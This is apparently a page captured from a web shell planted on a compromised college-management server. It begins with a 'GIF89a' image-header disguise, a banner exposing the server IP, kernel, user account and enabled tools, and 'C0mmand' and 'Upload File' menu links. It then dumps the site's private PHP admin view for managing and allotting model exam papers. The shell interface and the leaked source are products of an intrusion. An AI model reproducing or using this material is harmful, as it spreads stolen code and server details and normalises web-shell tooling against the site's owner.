GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.224.31.82 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../cas/assets/../application/views/admin/quizzes/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>All Subjective Model Papers List | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css' /> <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap"> <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script> <script> var csrfHash = ''; var subjectId = ''; var courseId = ''; var staId = ''; </script> </head> <body class="cbp-spmenu-push"> <div class="se-pre-con"></div> <section> <?php $this->load->view("admin/navAndHeader"); ?> <div class="main-content"> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li> <li class="breadcrumb-item active">Tasks & Quizzes</li> <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/TasksAndQuizzes/subjectiveModelPapers"); ?>">All Subjective Model Papers</a></li> </ol> </nav> <section class="data-tables"> <div class="card card_border p-4"> <h3 class="card__title"><i class="fa fa-file"></i> Subjective Model Papers Management</h3><br> <div class="table-responsive"> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/TasksAndQuizzes/createSubjectiveModelPaper"); ?>'" tooltip="Create New Objective Model Paper"><i class="fa fa-plus"></i> Create New Subjective Model Paper</button><br><br> <table id="allModelPapers" class="bootstrap-datatable table-striped table-hover" style="width:100%"> <thead> <tr> <th>Sr. No</th> <th>Title</th> <th>Description</th> <th>Subject</th> <th>Course</th> <th>Added By</th> <th>Last Updated By</th> <th>Action</th> </tr> </thead> <tfoot> <tr> <th>Sr. No</th> <th>Topic</th> <th>Description</th> <th>Subject</th> <th>Course</th> <th>Added By</th> <th>Last Updated By</th> <th>Action</th> </tr> </tfoot> <tbody> <?php for ($i = 0; $i < sizeof($modelPapers); $i++) { $record = $modelPapers[$i]; ?> <tr> <td><?php echo ($i + 1); ?></td> <th><?php echo stripslashes($record->mepm_title); ?></th> <td><?php echo stripslashes($record->mepm_description); ?></td> <td><?php echo stripslashes($record->sm_name); ?></td> <td><?php echo stripslashes($record->course_name); ?></td> <td><?php echo $record->addedByAdmin . " On " . date("d-m-Y h:i:s A", strtotime($record->mepm_added_on)); ?></td> <td><?php echo $record->updatedByAdmin . " On " . date("d-m-Y h:i:s A", strtotime($record->mepm_updated_on)); ?></td> <td> <?php if ($record->mepm_delete_status == 'F') { if ($record->mepm_active_status == 'T') { ?> <i class="fa fa-ban" style="color:#FF0000;cursor: pointer;" title="Disable This Model Paper" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/toggleModelPaperStatus/' . $record->mepm_id . '/F/' . 'S') ?>'"></i> <i class="fa fa-eye" style="color:#002166;cursor: pointer;" title="View This Model Paper" onClick="getModelPaperInfo(<?php echo $record->mepm_id; ?>);"></i> <i class='fa fa-edit' style='color:#002166;cursor: pointer;' title="Edit This Model Paper" onClick="editModelPaper(<?php echo $record->mepm_id; ?>);" ></i> <i class='fa fa-send' style='color:#136b13;cursor: pointer;' title="Allot This Model Paper" onClick="allotModelPaper(<?php echo $record->mepm_id; ?>);" ></i> <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete This Model Paper" onClick="deleteSubjectiveModelPaper(<?php echo $record->mepm_id; ?>);"></i> <?php } else { ?> <i class="fa fa-check-circle" style="color:#297534;cursor: pointer;" title="Enable This Model Paper" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/toggleModelPaperStatus/' . $record->mepm_id . '/T/' . 'S') ?>'"></i> <i class="fa fa-eye" style="color:#002166;cursor: pointer;" title="View This Model Paper" onClick="getModelPaperInfo(<?php echo $record->mepm_id; ?>);"></i> <i class='fa fa-edit' style='color:#002166;cursor: pointer;' title="Edit This Model Paper" onClick="editModelPaper(<?php echo $record->mepm_id; ?>);" ></i> <i class='fa fa-send' style='color:#136b13;cursor: pointer;' title="Allot This Model Paper" onClick="allotModelPaper(<?php echo $record->mepm_id; ?>);" ></i> <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete This Model Paper" onClick="deleteSubjectiveModelPaper(<?php echo $record->mepm_id; ?>);"></i> <?php } } ?> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </section> </div> </div> </section> <script> $(document).ready(function () { $("#allModelPapers").DataTable({responsive: true, dom: 'Blfrtip'}); }); function getModelPaperInfo(mepm_id) { event.preventDefault(); $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url('admin/TasksAndQuizzes/getModelPaperInfo/'); ?>', data: {mepm_id: mepm_id, csrf_token: csrfHash}, type: 'POST', success: function (result) { $(".se-pre-con").fadeOut("slow"); var thisModelPaperInfo = JSON.parse(result); csrfHash = thisModelPaperInfo.csrfHash; $("#courseAndSemester").html(thisModelPaperInfo.course_name + "-" + thisModelPaperInfo.subject_sem); $("#modelPaperSubject").html(thisModelPaperInfo.subject_code + "-" + thisModelPaperInfo.subject_name); $("#modelPaperTitle").html(thisModelPaperInfo.mepm_title); $("#maximumMarks").html(thisModelPaperInfo.maximum_marks + " Marks"); $("#modelPaperDesc").html(thisModelPaperInfo.mepm_description); var i = 0; if (thisModelPaperInfo.mepm_group_questions.length !== 0) { var comprehensiveQuestions = ""; comprehensiveQuestions += "<tr>"; comprehensiveQuestions += "<td colspan='2'><center><u><i><h5>Comprehensive Questions</h5></i></u></center></td>"; comprehensiveQuestions += "</tr>"; for (i = 0; i < thisModelPaperInfo.mepm_group_questions.length; i++) { comprehensiveQuestions += "<tr>"; comprehensiveQuestions += "<td style='width:10%;'>" + thisModelPaperInfo.mepm_group_questions[i].sr_no + "</td>"; comprehensiveQuestions += "<td style='width:90%;'>" + thisModelPaperInfo.mepm_group_questions[i].sqg_question + thisModelPaperInfo.mepm_group_questions[i].sqg_image + "<br>"; comprehensiveQuestions += "<b>* Ques.</b>" + thisModelPaperInfo.mepm_group_questions[i].sub_questions.sqb_question + " (" + thisModelPaperInfo.mepm_group_questions[i].sub_questions.sqb_marks + " marks)<br>"; comprehensiveQuestions += "</td>"; comprehensiveQuestions += "</tr>"; } $("#modelPaperContent").html(comprehensiveQuestions); } if (thisModelPaperInfo.mepm_gen_questions.length !== 0) { var generalQuestions = ""; generalQuestions += "<tr>"; generalQuestions += "<td colspan='2'><center><u><i><h5>Non-Comprehensive Questions</h5></i></u></center></td>"; generalQuestions += "</tr>"; for (var j = 0; j < thisModelPaperInfo.mepm_gen_questions.length; j++) { generalQuestions += "<tr>"; generalQuestions += "<td style='width:10%;' valign='top'>" + thisModelPaperInfo.mepm_gen_questions[j].sr_no + "</td>"; generalQuestions += "<td style='width:90%;'>" + thisModelPaperInfo.mepm_gen_questions[j].sqb_question + "(" + thisModelPaperInfo.mepm_gen_questions[j].sqb_marks + " marks)" + thisModelPaperInfo.mepm_gen_questions[j].sqb_image + "</td>"; generalQuestions += "</tr>"; i++; } $("#modelPaperContent").append(generalQuestions); } modelPaperUpdateFrm.csrf_token.value = csrfHash; $("#modelPaperView").modal('show'); } }); } function editModelPaper(mepm_id) { event.preventDefault(); $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url('admin/TasksAndQuizzes/getModelPaperInfo/'); ?>', data: {mepm_id: mepm_id, csrf_token: csrfHash}, type: 'POST', success: function (result) { $(".se-pre-con").fadeOut("slow"); var thisModelPaperInfo = JSON.parse(result); csrfHash = thisModelPaperInfo.csrfHash; $("#modalPaperTitle").html(thisModelPaperInfo.mepm_title); $("#modelPaperTitleEdit").val(thisModelPaperInfo.mepm_title); $("#modelPaperDescEdit").val(thisModelPaperInfo.mepm_description); $("#mepmIdEdit").val(thisModelPaperInfo.mepm_id); modelPaperUpdateFrm.csrf_token.value = csrfHash; $("#modelPaperEditView").modal('show'); } }); } function allotModelPaper(mepm_id) { event.preventDefault(); $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url('admin/TasksAndQuizzes/getModelPaperInfo/'); ?>', data: {mepm_id: mepm_id, csrf_token: csrfHash}, type: 'POST', success: function (result) { $(".se-pre-con").fadeOut("slow"); var thisModelPaperInfo = JSON.parse(result); csrfHash = thisModelPaperInfo.csrfHash; subjectId = thisModelPaperInfo.subject_id; courseId = thisModelPaperInfo.course_id; $.ajax({ url: '<?php echo site_url('admin/Subject/getSubjectTeacherAllotmentDetails/'); ?>', data: {session_id: $("#session").val().trim(), subject_id: subjectId, course_id: courseId, smember_id: '<?php echo $this->session->userdata("adminData")["smember_id"]; ?>', csrf_token: csrfHash}, type: 'POST', success: function (result) { var allotmentInfo = JSON.parse(result); csrfHash = allotmentInfo.csrfHash; staId = allotmentInfo.sta_id; $.ajax({ url: '<?php echo site_url('admin/Student/getStudentsAllotedToTeacherBy/'); ?>', data: {sta_id: staId, csrf_token: csrfHash}, type: 'POST', success: function (result) { var studentsInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); csrfHash = studentsInfo.csrfHash; studentsList = ""; if (studentsInfo.available_students !== 0) { for (var i = 0; i < studentsInfo.student_list.length; i++) { studentsList += "<tr>"; studentsList += "<td><input type='checkbox' name='selectedStudents[]' value='" + studentsInfo.student_list[i].stu_id + "'></td>"; studentsList += "<td>" + (i + 1) + "</td>"; studentsList += "<td>" + studentsInfo.student_list[i].stu_clg_id + "</td>"; studentsList += "<td>" + studentsInfo.student_list[i].stu_name + "</td>"; studentsList += "<td>" + studentsInfo.student_list[i].stu_session + "</td>"; studentsList += "<td>" + studentsInfo.student_list[i].stu_entry_type + "</td>"; studentsList += "</tr>"; } $("#studentDetails").html(studentsList); $("#studentList").css("display", "block"); $("#allotBtn").prop("disabled", ""); } else { studentsList += "<tr>"; studentsList += "<td colspan='7'>" + studentsInfo.message + "</td>"; studentsList += "</tr>"; $("#studentDetails").html(studentsList); $("#studentList").css("display", "none"); $("#allotBtn").prop("disabled", "disabled"); } modelPaperUpdateFrm.csrf_token.value = csrfHash; modelPaperAllotFrm.csrf_token.value = csrfHash; $('#allotedStudentsListModal').modal('show'); } }); } }); $("#mepmIdAllotView").val(mepm_id); $("#modelPaperAllotView").modal('show'); } }); } function printModelPaper() { var divToPrint = document.getElementById("modelPaperPreview").innerHTML; var newWin = window.open('', 'Print-Window'); newWin.document.open(); newWin.document.write('<html><body onload="window.print()">' + divToPrint + '</body></html>'); newWin.document.close(); setTimeout(function () { newWin.close(); }, 10); } function deleteSubjectiveModelPaper(mpem_id) { if (confirm("Are You Sure To Delete This Model Paper? Click OK To Continue And Cancel Otherwise.")) { window.location.href = "<?php echo site_url('admin/TasksAndQuizzes/deleteModelPaper/'); ?>" + mpem_id + "/S"; } } </script> <?php $this->load->view("admin/footer"); ?> <!-- Model Paper View Starts --> <div class="modal fade" id="modelPaperView" role="dialog" data-backdrop="static" data-keyboard="false"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">View Model Paper | <a href="#" onClick="printModelPaper();" title="Print This Model Paper"><i class="fa fa-print"></i></a></h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div id="modelPaperPreview" class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;"> <div style="background: #FFF;"> <table width="950" border="0" cellpadding="0" cellspacing="0" style="border:1px solid #000;" align="center"> <tr> <td width="3"></td> <td width="797" align="center" valign="top"> <table align="center" width="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="797" height="48" valign="top"> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="797" height="120" align="center" valign="top"><img src="<?php echo base_url('assets/admin/images/ietheadernew.png'); ?>" width="95%" height="100" style="margin-top:4%"></td> </tr> </table> </td> </tr> <tr> <td height="48" valign="top"> <center> <p style="margin:5%;font-family: Courier;font-size: 15px;"> <h4 style="font-family:Times;"><b><u><span id="modelPaperTitle"></u></span></b></h4> <h5 style="font-family:Times;"><b><span id="modelPaperSubject"></span></b></h5> <h6 style="font-family:Times;"><b><span id="courseAndSemester"></span></b></h6> </p> </center> </td> </tr> <tr style="font-family: Arial;font-size:12px;"> <td height="48" valign="top"> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="797" height="25" valign="top"> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="388" height="25" valign="middle"> <span style="margin-left:5%"><b> M.M. <span id="maximumMarks"></span> </b></span> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr style="font-family: Arial;font-size:12px;"> <td height="48" valign="top"> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="797" height="25" valign="top"> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="388" height="25" valign="middle"> <span style="margin-left:5%"><b><span id="modelPaperDesc"></span> </b></span> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> <table class="table table-bordered" id="modelPaperContent"> </table> </table> </div> </div> <div class="modal-footer"> <button class="btn btn-danger" data-dismiss="modal">Close</button> </div> </div> </div> </div> <!-- Model Paper View Ends --> <!-- Model Paper Edit View Starts --> <div class="modal fade" id="modelPaperEditView" role="dialog" data-backdrop="static" data-keyboard="false"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Editing Model Paper => <b><span id="modalPaperTitle"></span></b></h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;"> <?php echo form_open(site_url('admin/TasksAndQuizzes/updateModelExamPaper'), ['name' => 'modelPaperUpdateFrm', 'id' => 'modelPaperUpdateFrm']); ?> <fieldset> <div class="form-row"> <div class="form-group col-md-12"> <label for="modelPaperTitleEdit" class="input__label">Model Paper Title *</label> <input type="text" class="form-control input-style" id="modelPaperTitleEdit" name="modelPaperTitleEdit" placeholder="Enter Model Paper Title"> </div> </div> <div class="form-row"> <div class="form-group col-md-12"> <label for="modelPaperDescEdit" class="input__label">Model Paper Description</label> <textarea class="form-control input-style" id="modelPaperDescEdit" name="modelPaperDescEdit" placeholder="Enter Model Paper Description"></textarea> </div> </div> <input type="hidden" id="mepmIdEdit" name="mepmIdEdit"> <input type="hidden" id="mepmType" name="mepmType" value="S"> <button id="editModelPaperBtn" type="button" class="btn btn-primary btn-block btn-style mt-4"><i class="fa fa-save"></i> Save Changes</button> </fieldset> <?php echo form_close(); ?> </div> <div class="modal-footer"> <button class="btn btn-danger" data-dismiss="modal">Close</button> </div> </div> </div> </div> <!-- Model Paper Edit View Ends --> <!-- Model Paper Allottment View Ends --> <div class="modal fade" id="modelPaperAllotView" role="dialog" data-backdrop="static" data-keyboard="false"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title"><b>Allot Model Paper</b></h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;"> <?php echo form_open(site_url('admin/TasksAndQuizzes/allotModelExamPaper'), ['name' => 'modelPaperAllotFrm', 'id' => 'modelPaperAllotFrm']); ?> <fieldset> <div class="form-row"> <div class="form-group col-md-3" style="display:none;"> <label for="session" class="input__label">Session *</label> <select id="session" name="session" class="custom-select"> <option value="">Select Session</option> <?php foreach ($sessions as $session) { ?> <option <?php if ($session->session_status == "C"){ echo "selected"; } ?> value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option> <?php } ?> </select> </div> </div> <div class="form-row"> <div class="form-group col-md-6"> <label for="modelPaperStartDate" class="input__label">Start Date *</label> <input type="text" class="form-control" id="modelPaperStartDate" name="modelPaperStartDate" value="<?php echo set_value('modelPaperStartDate'); ?>" placeholder="Choose Start Date" autocomplete="off" maxlength="15"> </div> <div class="form-group col-md-6"> <label for="modelPaperEndDate" class="input__label">End Date *</label> <input type="text" class="form-control" id="modelPaperEndDate" name="modelPaperEndDate" value="<?php echo set_value('modelPaperEndDate'); ?>" placeholder="Choose End Date" autocomplete="off" maxlength="15"> </div> </div> <fieldset id="studentList" style="display: none;"> <legend>Student(s) List</legend> <div class="form-row"> <table style="width:100%" class="table table-warning"> <tr> <th><input type="checkbox" id="selectAllStudents" name="selectAllStudents" value="A"> Select All</th> <th>Sr. No</th> <th>College Id</th> <th>Name</th> <th>Session</th> <th>Type</th> </tr> <tbody id="studentDetails"></tbody> </table> </div> </fieldset> <input type="hidden" id="mepmIdAllotView" name="mepmIdAllotView"> <input type="hidden" name="mepmType" value="S"> <button id="allotBtn" disabled="disabled" type="button" class="btn btn-primary btn-block btn-style mt-4"><i class="fa fa-reply-all"></i> Allot Model Paper</button> </fieldset> <?php echo form_close(); ?> </div> <div class="modal-footer"> <button class="btn btn-danger" data-dismiss="modal">Close</button> </div> </div> </div> </div> <!-- Model Paper Allottment View Ends --> <script> $("#editModelPaperBtn").on("click", function () { if ($("#modelPaperTitleEdit").val().trim() === "") { alert("Model Paper Title Can Not Be Blank."); $("#modelPaperTitleEdit").focus(); } else { $("#modelPaperUpdateFrm").submit(); } }); $(function () { var dateFormat = "dd/mm/yy", from = $("#modelPaperStartDate") .datepicker({ dateFormat: dateFormat, defaultDate: '0', changeMonth: true, changeYear: true, numberOfMonths: 1 }) .on("change", function () { to.datepicker("option", "minDate", getDate(this)); }), to = $("#modelPaperEndDate").datepicker({ dateFormat: dateFormat, defaultDate: '0', changeMonth: true, changeYear: true, numberOfMonths: 1 }) .on("change", function () { from.datepicker("option", "maxDate", getDate(this)); }); function getDate(element) { var date; try { date = $.datepicker.parseDate(dateFormat, element.value); } catch (error) { date = null; } return date; } }); $("#selectAllStudents").click(function () { $("input[name='selectedStudents[]']").prop('checked', $(this).prop('checked')); }); $("#allotBtn").on("click", function () { if ($("#modelPaperStartDate").val().trim() === "") { alert("Please Enter Start Date."); $("#modelPaperStartDate").focus(); } else if ($("#modelPaperEndDate").val().trim() === "") { alert("Please Enter End Date."); $("#modelPaperEndDate").focus(); } else if (($("[name='selectedStudents[]']:checked").length === 0)) { alert("Please Select At Least One Student From The List To Allot Model Paper."); } else { $("#modelPaperAllotFrm").submit(); } }); </script> </body> </html>